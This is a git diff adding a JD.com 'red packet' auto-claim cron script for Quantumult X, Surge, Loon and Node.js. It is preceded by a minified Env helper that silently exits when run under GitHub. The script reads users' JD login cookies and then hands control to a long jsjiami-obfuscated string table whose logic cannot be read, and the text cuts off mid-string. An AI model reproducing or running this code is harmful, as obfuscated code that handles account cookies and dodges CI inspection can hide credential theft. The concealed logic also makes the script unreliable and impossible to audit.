+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
diff --git a/Task/jd_redPacket.js b/Task/jd_redPacket.js
new file mode 100644
index 0000000..2628ae1
--- /dev/null
+++ b/Task/jd_redPacket.js
@@ -0,0 +1,90 @@
+/*
+京东全民开红包
+Last Modified time: 2021-05-19 16:27:18
+活动入口:京东APP首页-领券-锦鲤红包。[活动地址](https://happy.m.jd.com/babelDiy/zjyw/3ugedFa7yA6NhxLN5gw2L3PF9sQC/index.html)
+未实现功能:领3张券功能
+
+脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js
+================QuantumultX==================
+[task_local]
+#京东全民开红包
+1 1,2,23 * * * jd_redPacket.js, tag=京东全民开红包, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true
+===================Loon==============
+[Script]
+cron "1 1,2,23 * * *" script-path=jd_redPacket.js, tag=京东全民开红包
+===============Surge===============
+[Script]
+京东全民开红包 = type=cron,cronexp="1 1,2,23 * * *",wake-system=1,timeout=3600,script-path=jd_redPacket.js
+====================================小火箭=============================
+京东全民开红包 = type=cron,script-path=jd_redPacket.js, cronexpr="1 1,2,23 * * *", timeout=3600, enable=true
+ */
+const $ = new Env('京东全民开红包');
+const notify = $.isNode() ? require('./sendNotify') : '';
+//Node.js用户请在jdCookie.js处填写京东ck;
+const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+
+//IOS等用户直接用NobyDa的jd cookie
+let cookiesArr = [], cookie = '';
+$.redPacketId = [];
+
+
+var _0xode='jsjiami.com.v6',_0x2868=[_0xode,'K8Kaw7HCjFU=','PlzCpmfCvA==','wrJ6PHnDmw==','wrxawoA=','X33DliE=','KsOwwrJ2P+acseisguivjuawgeWlvOi0kA3igKDvu6vig6TvuZo=','IMKCw50=','DcKAw6nCjGk=','ccK6fWhn','J8K/w7LCsGw=','wqPCj8OCVxE=','OzY9DcK1','MMOaSkAl','w4bDnuWNi+i2oeWInOWIgee7peWMv8Ot5oiW5Yuc77y857mt5Y6TwoNqw5g=','c0/CksOhUA==','wrLDo8KcBh4=','DcOaSGYAwrPDm31bQsKM','cMOewokgAw==','w5YYwpYufA==','wrhTw7RhwrE=','BCHljLvotanli4LliqHnuoXljJAS5ae46Leb776p','esKywrZfLw==','w5wzwoEVesKV','w6YywpQDdA==','FcKvwp3Ci8Ov','wrMpw4jCiEQ=','5Y+R6LWO5YqL5Yi157i+5Y+2w7jlpajotq/vvpw=','N8KXwrjCjsONwozDocOfCA==','wqrDpyhHwpvDjA==','ZMOmwrjCmCTCnMKDw6Jfb3kcwogDwpPClsKVGsOeR8OnH3gww5HDiE4=','OcOSfEvDtknDsw==','woXDujnDscOQ','BDYxK8KJ','AMOtZ8Kow5w=','wrzDr8KiBS0=','B8O+bUIV','H8KSw74TNw==','DsKnwpXCssOwwq7DmsOmMCxdewk=','w4zDjcOEdjkxC8KJw7EwJcKyBA==','w7x3EVcACQ97TcKF','w7taYhQ=','OcOSfHvDvlDDtw==','Wn0IVUQ=','AMKOw4AWLg==','w5ddQBQx','VcKKwqltFA==','wpDChD1AQw==','F8OiOQEHw4w=','w6LClAZEw44=','wp7Dp8KWHD/DoA==','DVPCiHfCgQ==','eEvCrsOQeQ==','ekolckA=','wpJvJn3Dpg==','wogow6LCgzZe','bMOTwrQ/Ag==','wrPCoSB/Zg==','eCpWw5PDnw==','PcOKZsKLw4s=','J8K9w4zCiWk=','wprCiRxF','albCssOb','SV7CvEok','wrVbwpE=','wppxwrgzwoV8TcOp','wrd4EkTDsw==','wqFOw5vDucOz','w5pQJmwxLyFYeg==','MXnCpw==','LcKNwq7CgsObwqTDrg==','EMO2SnHDrg==','eTdxw7c=','wpRtwoEvwqk=','FcOxNwIw','H8OPJzEA','w4TCiDZ7w6U=','wpgVN1IN','d2NXw4DDqg==','wpHDqcKdNSjDtw==','UF8fTGZDw5fCu8Ob','JsKGw4jCm2M=','IcOJBTo1','McOSw4wGMlDDijvCgcOcZ3rDuCVt','chbCoMOQwqcjw5MZwphrPsO3wrpwFg==','RgPCpMKiHcK5w69AVhjCjMOeZcKZw70=','woPCiRZDWBw=','R0IeRmdRw5DCqQ==','wo3Dp8KZGz/DscKxw7dV','wrsww67Cvl/DvBcQ','Sl/CtsKiBsKlw7dd','CDU8BcKhw41D','OsOWfH4=','csOubsKQwrA=','YmUHXF8=','wpJrG3PDrg==','w4XClBtow78=','wp7Dp8KUOD/DqcKS','SEfCnMKNLw==','wr7DtMKfNCI=','M8KawrLCpcO7','5Yqz5Yq45b+D5bqL77+J','wr3Cj8OdQ8Kww4TDusKgwpQ=','PMOECgwgw7w=','w53CnQZEw4bCplLCoMOyC8Kgw6kkLF/CgSzCmjHCpBdUZMOzwpnClALCiULCvQfCpcOlRMKMKMOPUxMyw4rDi8Klwp9vw7U8dsK+YcORw75VMiRJwqLCvMK4UjTCpsOgYsK3McO7wokrRsOqwpPDssKWBMKTwr3DgsK0wrxjUcK2w5XCj8OBcsOlwo82CcOVwrjCuHxyZxXDsihLWkLCmMKQwrpTR8KWdMKNaMKIW1PDicOwwp3DviF/wrdZw4vCvx44PAkbInPDisOj','w7HCghZaw4jCuGHDq8O2G8Kow7Q=','WcOTwrkpNcKsF8Otw47DgMOXUA==','OU/Ct3rCvA==','eMKBwqBSPw==','wojDt2PDosKFOGIOw7V2EcKDOjx/wppLwofDqsKkw5bCmz/CgWbDtnnDvcKewqfCtzZZw4XCmMOoA8Kdw73CqMOSYcK5w51Aw4oMw4fDq8K/LxZ3NXvDhcOmwqrDkzdjwqVyTBTDqlTCjCvCllDCkMKaw43Cu8KSTjPChcO3wrg4w4fCiCrCoVfChA7DncKdKmPDh3bDjcKdwojCkAnDp8KowpXDv8KxflDChMKIJ33Ct8OYYsOwNi3DkcOsOmHDisOVwqfDgQXCkhDDl8Oyw7jCr8OtSg==','w6Igw5XCnTA=','LcOaAg==','LsKGw4QR','Q3nDiyvClC7Dm8KMYDEASQ==','wr5NUDs=','PsKIw57CrmXDtVvCjsOLw5kE','a0jCp8O3e0zDvsK8Y27ChHQ=','ZlrCqVMI','C0zCl2gawqgow5UrWcK2K8Oww63CoyNE','OsO3wqHDhiDDlsOUw6wVU3sB','OsKwYsKPwrMhw5rDrMOmwpQRAsO6','w7jCqTZr','NMOTaW/Drx/DvyxeOcO8SjgnO8Kzw6TCoXhxwpPDtQlYQsKQw5NIwpBFwprDssOcKMOtw6RbEsKKw7PDlsKKwrrDlSgjH8KRw6kaeR3DnMK8w6Uiw5XCoUPCtsKDcWjDhkZMGHEcGELCscKswrHCux/DlHEPwrXDqcOWIBLCrsODNsOCwoJIX8KoGV7CmChyw6bDvi8ow5gFw71CLAI1w5/DnyzCm8KgwqzDocOzwovDtMOnw6dcWcKofcKOwqoEesKGw6fDuhYkw71/EMOhw5INKSZYw7zCn8OhwobCrXpRbE7CsEMpwr/DgMOywr/DvBU=','acOPwp8uDw==','UU4eUGRQ','dg4cEhU=','FsOmamjDkQ==','wpfDkivDoMK1','DQIdO8Kt','wpPCqh1UVw==','DA7DmjRh','DcOHRlIW','WjgVCMKgwpU=','w4HDsnPDpcKAdSoYwqcqRMOUYHNwwpMHw5HDpcO1w5nCnGrDg2zDpTbDrMKGwrvCszQIwqDCm8OqEcKGw7PCq8KcfcKkwo1Lw4xIwpHCqsOhOxJ0YSvChMK7w77CiX0qwrBwCULCsQHDhyXClkTCkMKfw5/CscOFEX7DnMKxw7s0w4bCnSnCpErDkg7CmcOKK3fDhX3CmsKZw43DlAvDosKrw5TCu8KpfAHCkQ==','B1jCt1HCug==','wrVUw5d2wrc=','csO5w7vCrDM=','wqRvw4jDo8OWw49Ke8OfYsOjF8O3aEzCpzLDpMKjwr13wpnDok1ZasK7w7h0w7ETM8Kjw4/DvDTCgcOhw5nDkllEw41Ow6Nw','PEHCrsOXwqp3','dGl1w6LDvg==','Ojptw6oAwqDCo8Odb8KXLyXDuA/DhcKKw7LDt8KPK1smw5pZwpUWTsKWHMO/w7Ixw6jDkcKlw6NCwqQmJsKDwoIxwphmw6LCqkvCkUjCicKbUTZceUhjw6UOD8KcbcO5UsKDf3XCjsOrG3LDksO0RMKzW8Klw4zDtW/CncKndMOzKHvCrsKFwrXDiiLDv8K8MsKNOcOdwqxkw4A1VcKWGSfDvsK9','w6dyw47Chx3Dj3DCpyVnw5MjHCTDnw==','dsKpwptpJA==','wovDlnHDocKy','HlPCiXlEw6w/','dsOtwrs0DA==','CcO5RH7Dqg==','w4o3woYB','wo/DtVfDucKq','UCNHw6bDoA==','BETCr214','w57CiA1Nw5PCvg==','woXDqGLDtcOZ','cwVCw6fDmg==','TwZCw6LDmD/CoMKCdQ==','wrjCmsOWwqHDmQ==','T2bCuV0m','fhc8Cjo=','WHHCkMKlIA==','N8OqYMKQw48ZJMKkTsOiBWMhwotEUAx6wrXDohRvFsKIFEjDj8KwEhBWKMOA','w5vCni1Fw4PCsw==','e8KvwqI=','w4UDw7DCsTrDo1TCkRBZw58DLA==','wpUdw4LCiGPDjCs7w6lowqIvw4A=','McOjwofChDs=','BcO4KBsNw49Xw5jDoxI=','fUbCtcOXwrI+w4Q=','W8KLUVZB','PsOcSEYv','G8KCw5DCl2s=','aULCpMOs','wr7CscOpwqPDmcOu','cHo6YGY=','UcOTwpweKw==','wp7ClsOEQsKc','LDQeJMKD','5Lm85Lip6aWx6aCC54G55YeF4oCE6aCo5Ymc4oCB6YCtw7hhw7rkuq7li7DChw==','Pm3Cg3bCkw==','wrxawoAywrJM','EsK2wqzCtsOk','PCLCsHHChsO1wo7DsMO5Y8OYw6LDlMKfWg==','wrV4ClY=','ECnljJDot4Tlibrli5HnuIfljbXDjOaIguWLqO++g+e5vOWMkCcyfw==','WT5Ww64H','ZMOcw5zCly0=','w4N7UwUTworDlcK6djnCpA==','wodDw6F/','w7fCnC1Hw4Q=','wpDCh8O1dR0AP8Ktw4I8Dw==','wrctw6nCrUPCs1ZLw4tLwolPw77Ds003IDkUw5LDjsKtMjrCkws1wq7Cm05Dw548w7NRw6ltw7NVTMOVNyDDsmfDgA3CocO/w7JJfMOcFMO3woLCsUzDn8KNNsOMwooiw5JiO2tQw6rCpzkxJSwnwrBs','fMOjw7PCniM=','eVNrw6XDrg==','RRdGw4jDuw==','Q0bCqMOmwrs=','woHDuS7DoMKb','wpXDhj5WwqU=','wp9Sw7DDssOk','QsOZQMKZwo8=','wrhqMFjDsiA=','f03Ctw==','RMKXwqx2JMKbwrhgHAV6fkg=','w71jC1UNBxBnXMKBwofDmsO4','wo3DuSrDssKh','w7QwwpsHZQ==','w4FQIHUsBz5bccKZwrzDvMOc','CVjCiA==','wrPDgFnDnMK2B0p5w4BaM8K/DA==','HC7Dhw9E','woLDuys=','TsO7wpMJCMKNDMORw7/DpMO9cMKt','f8KywqcMwrTDuA==','fkjCow==','esKKwrt1Jw==','wrvCjStzZQ==','RMKuwpIWwpQ=','w7bDtMObwobDvOadv+iupeivjeayj+Wkt+i1pgbig7Pvupnig7bvuKE=','wpLCg8OjVhk=','VMOUwpgXIw==','IsKMw5fCmw==','w6V5w5zCjXnmnazorpvorpPms6rlpJ7ot4JB4oKo77qP4oCV77md','6aKg5Y2a5LmO5YmM772+','IcKmw7zCkHc=','fcKbwrVIBQ==','wrZDQx88w5g=','wobDpTTCpsKAwofDoMOZw7rDjiNi','wpzDtsKKHDPDpsKDw7ZRRig9dcKFw5Euw7HDuMK+WiZTByRnTVvCiMOHFjVINA==','w43CqCw=','w4YiwoYQZcObwqVSXD4uOcOeSsObw6NvAMKGH0JGc8KeFcKcw5bCiSbCicO/eMKOwpFLaRZ0B8K6RcOTO8Oaw7MLw7sqTCTDj8OkwrNwMTAcwrjDpsOiVsOLwph8wrgAZcKZTjbDpGjDlsK2cE0=','BCEYNR0AAMOawqhqw53DuSA9XMKPNHrCshJWw6jDiWotEsKO','UGrCmMO+Zw==','QnfCn8KjPA==','MDzDhQxL','wo/Ds3LDvMKXcj0Pw7dzDMKcIXt+w5EEw5DCpcOiwovCkA==','wrVawqgmwoY=','wppaw719wo8=','wr4yw4XCp3g=','VQF+w6TDkj0=','wpBoew8dw69WOkPDjBHDpMOn','IcKNwrw=','Nh4lOcKKw611N3hubHTCow==','Wz5Hw47Dmg==','KsOsaWQ+wpHDt11hXw==','wrg8w6nCuVHDvRg=','MMO7asK3w60=','e1jDrgU=','T8O/w7vCggDDqQ==','w4UzwosT','GcOQXnMAwrPDmA==','wpLCl8OiTQ==','w4s4woQ=','XsObaMKYwrMxw5DDqg==','wp8jw6c=','UMO4wpMdH8KAAcOP','ei50w7AB','wqwtw6/CtF7DrhACw5E=','XWrClcO7woYI','M8OiecKI','aU7CnnoKTkY=','w45BIGE+PCk=','wr7DqcKVGzPDoMKow4YK','ecKkwqABwrLDosOT','Tkod','wrJ2EVzDvyA=','MMOzfMKIw4MI','VAZEw7vDhWLDpsOLbWhkw4bDmMOPSsKWwrvCnXpiesOXwqYP','44CM5o6f56Si44KS6K6T5YeV6Iys5Yyz5Lu75Lqz6LSx5Y+q5LuASsOJwonDsMO7woRV55qS5o+i5L+V55SBwrccCsKMNMO355iT5Luz5LqA56+55Yuw6Iym5Y+n','wpoKMUcZZ8KSw6jDl8OhC8KRBMOgDyfCncKgwonDtMKgCkxcw4zDvzfDtxfDg8OVci/DgcKGwp7Cm37ClcOVwrLClcOD','w6QRwrV0','J8OWYWQP','wo7Dt8KrPBU=','wrJYUCp0woUrBmbDpXrDi8OdLBrClQ4GwoTDtRzClATDk3DCnMOSw446TA==','wqlrw7/DpcOS','JcKWwr7Cj8OMwpnDhcOAIgN5RzgJwoPCvg==','w7MgwohZDA==','wr18EFDDoi0=','cS5sw6AM','R1jCocKkEQ==','ecKjwr9JEcK9wo4=','fsK5wpBNOMK1wo1c','N8Oowq8=','w4YxwpbCucKP5b+15aau44GE5LiS5LiO6Las5Y+O','c8OSwqg8Ig==','wr9wHVzDmCRowoU=','wq/DuwNtwo7Dl8K3','wpwfKFI=','44Ki5oy956WZ44C7w4TCuU3DpcOxCuW0v+Wmt+aUjg==','5LuV5LmY6LaP5Y6y','aVdGw4vDpA==','w7vorJvphqjmlobnmY/lvL3ojr7lj4d/PsKVwqLCqg4yQw9Pw5xtwoHCq8Oow6zDksOsVcOew4XDjRp5wqBYX8OBbGUHDcKQwqdZw4VZL0jDisObw5XCgMOJ','OsKIw4IOL1zltY7lpaPmlr3ChQM0','OUXCm2p4w6khw5U=','5LmO5Lu+6La35Y+S','w5vCgwdPw58=','LOitu+mFuOaVneeYn+W/meiOl+WOi8O5wocDTQTDgQ==','w41NJ2YwPSZK','wpjDtsK5Bi0=','dsOZwqI+LsKq','VUpHw5zDksKSwrU8','wq7DqnTDucKI','AVfCinte','ecOdwqIRP8KuJA==','wr5+w5jDg8OEwpYOMcOKW8Ou','UBdew6zDgjA=','dsOTwqs=','w7BH6IW75bSH6LW85Y+d5Yap6YOF5Lm95Yui','wqJQwoMnwqFdc8OLEFVS','eMOwUA==','6LSa5Y6FEA==','MsOpwqzCjTU=','wooqw7jCr37DqBQB','OuW8o+Wkiue5qsOz','w5LovqXooInlip7li7E=','wpRXw7xfwpDCssOX','wpYiw7Y=','5q265pe35bS655eA5a+B5ouu5raF5Yig54GQ54i277yY6Laf5YSt5YuC5Yi9','N3bCv1rCl8Owwog=','dULCsA==','BCHmn6PlibfkvLLlipPlirzmnK/kvKjli5DnuKfkv6/og5ArwoJ7wo/Ds2Me6L6E6KK75YmB5Yml','w64yw5vCjAbDlEvCtwJ2w7s/HQjDg2w=','T0QK','wrh3GlLDrg==','w5o0w4rClifDh2vCqw==','wo7ovo3oor7li4nlio0=','PcOWZlfDukjDpg==','Vy8P','5qyh5pWJ5beQ55aG5ayQ77+/6LSr5Yaj5Yij5Yid','L8KMw47CnWw=','VWTlppjotaAMwpjljLvlmKxIw4Y=','akTChHs=','wo/Djjpawr4=','STjCnTkfw4TCl8KwQ8Kaw40=','asKsfX5e','chECEh8=','QnTCncKJJg==','wrIUw6fChUM=','W0HCpMOqSw==','aVPCrcOawqc=','UsKFwppyGw==','F8OtbmXDrw==','WGnDnCnCtg==','JFPCmUrCow==','w4Btw5DCphPmn4/or47or5rmsq3lpbrotbEC4oGx77iR4oGv77qT','wovDqGE=','UB1X','EjsXCQ==','6I6j5byI57qV5Y+Z77+s','HS3DmiZCw43DisK4','5YWaJ8Od','UhZtw7IR','worCpMOiwozDnQ==','IMKXwrrCqMOC','wo/CucOYesK0','QWLCo8O9ag==','XkbCtsOawos=','dG/DkDLCoA==','ZMO+VMK3wpMHw5bDmMOM','cVnCo8OoegLCksOwVn/CnjEADmUlwpMywr/DrcOSwrnDkcKbTsK3wqLDr8K+w6nCvCvCmwF5wqUJHWDDm8Opw5oewpzClcKiw7/Dhm1LwoLCikx8w5fCnGpyHMK2Z8KLNcOywqDDnHhCNw7DiE4/WG83BHAYJkrDpMOOQ1rDmsO2w4jDuHjDgn5EwpJZwoU6wphVAsKZwogiw5DDvmUCNEdywqoTwoxFS8OOwpbClQjDgMKjw6EkBsOFc8OYDA49IQ9GN8K0bsKbwrAiwptKJ8OPw5o3w53DrMO6wpsAwo/DpMO4DUJ4wo/DoRIzDsONfEfCkxPCmR18wqrDvw/CtsOQWcOpw5ttcAJPZThSDcORw74gK0g6QcOTMyBCQMOuw77CugvCqU4BKlLDuMK/wqluPMOswo8mcC/Dthhdw44wVsKgwop6wrPDolVbYsOdw5rDv8OQWSvCjjZmCD/Cp8KEWDPDssKN','wrctw6nCrUPCs1ZLw4Aaw4kMwrrDqk18Lz8P','AMOhKCA+','wptAK0LDnA==','axh7w47Dmw==','W3jDmjTClmHDscK/XD8dR8O+wrLDglIPw7jCgsKxw4B0XcOoDBQhwrDCj8KZBsOBNzPCisOsScOeesKowooeEmYPw6PDr8O+cFYUc8Oew5pHwpPCrF5Hw5ksAcKRwpsTwoRSYMOuHsOUF8KpDsOVfGU8TTVhw71lw67Cpi3DnMK6Ew7CnsORwp/CjMOfw78iw6HCpMKsw6wpwrElwr5wOjgbw7nDucK1NFk/ODDCjWFqwoIcUcOPw7bDqyjDtMK2SX3Dpn81aVrCh2LDksOuHULDlsO5wr/DlsOmw4ZJUcOwe8OUQcOBEcKwVMORAMKbSgbDuFvCnjArw44eRzlZwpbCisKFR3I7PG1uw47DpMOTw41Xw5bDlcOLw6c7GUICw4plA8OkasO0bnPDqSILw6AEwrxkXFDCucObXiw0HXxlCzEUw7dAcQtVw6rCsyfDvD7CjcKDNRXCisKowossQ8Ksw73DvE7CiRB5woDDkld2w4jDosO2cMOqwoVpw5bCn8OpTwLCl1QPaF1bw43Cg0Ma','w7vCgjpNw60=','wqTCoMOuwqbDhsKgaBXCpTNtS8Ohw7zCrgDCm3zDjMKhXMKFwo3DpnoAGV8LI8ORw5cLKcKkw50Pw5IuKEXCusKsw73ClCbCqMOywp7DmsO2wq4dw7rCuMO/wq7DnsK1C8Ksw6fDl8KIw4jCg8KmCcOXDsKzAw==','TMOGRMK3wpQ=','Sy8bMQ==','LC48IcKa','wqIKA3op','wrvCuw99Yw==','RGLChMKoHQ==','wqrDqsKUNjg=','OHjCtg==','wpTDs3TDpcKKL3tGw6Y=','csKuwrM=','YErCh3s=','dFbCgVvorIXms57lp4notrzvvoHor63moZHmnannv6HotJXph6/oraM=','BAPCn3tCw6E6w5k5TMKeMcOxwqTDuw==','wqh6w4jDsg==','K8KCw5oENF3Djw==','GDMJD8K2w51JHA==','esKowqcGwrzDo8Ocw6U=','w4o/woEDecKUw6QJ','wqLDoTxhwobDi8K3Ww==','w4VxcTwKwozDmg==','wrIVw4XCtUY=','w5wLw4HCtgU=','U3VMw7zDsA==','CSXDmzZI','wphPw5RawpM=','wrTDrTx3woXDig==','w481woYpcg==','HlPCjW1aw7w=','OsOvc8KXw58+N8KxUMOJCjg4','bMKkwrA1wrLDtcOZw7QzQkY=','wp/CqhdTRQ==','wpd8WDELw5Q=','woEKN14EOsOUwqHDjA==','WcOKWV8Fw63CiCAXM8OQw7Mrwrx4w50WA0HCgy/Djz7CpRvDijhTC8O+esOUGjrCrMKRw5NNJWYdesKbw7vCtCMuwpsmfMOiFmg5R1bDgnzDq8KvJB1/IQjCtFYzasK1w5NAHMOTwqzCqCM5w6/CrFTDtcOBVxfDpsOyEcOZwrh+wqfDj3lDwq/CqUoQJSbCicOvw5vDgcOJBTo=','5YuF5ZKIw4NeY+aIuOWmtOiMteW+r+OAuee7pOWMl+OAnO++sg==','ThdDw77Dmiw=','5YmH5ZKxFRhY5omt5aem6I6v5b6444Cb5L+w5oCr5Yir44KL77yB','LMOSe2rDs1A=','XFPCtsK0BcKk','w4FsXi8XwqfDn8KyZw==','aMOZwr8sNsK2','wqrDvSxpwpDDusKrTsOFw7EDcl8=','a8OJwqMtO8KGMcO7w4M=','wqDCu8O9','5Yik5ZGBIcKtXeaIoOWnjeiNkuWlpui2iu+8jeS7l+aUpRrmrofmiZvlp43mnqjkv7vltq3nlY7lr4vCoA==','wr94E1I=','w6oVwqYnwonmn5vor7rorZnmsKblpK3otJPDqeKBre+6huKBqe+5ng==','JcOuYsKVw4gdLMK2Xg==','wptZw7U=','QlnCog==','wok5w6PCnzRNRUvClg==','bnzCssOZWA==','ci51w6Y=','6I+h5byN57qy5Y+57768','5YW4SmI=','fkrCssOQwrw/w4sE','CFvCiWFT','wp4bw6XCuS8=','wroOw7TCpEA=','wrHDohVhwrw=','c0XDvSf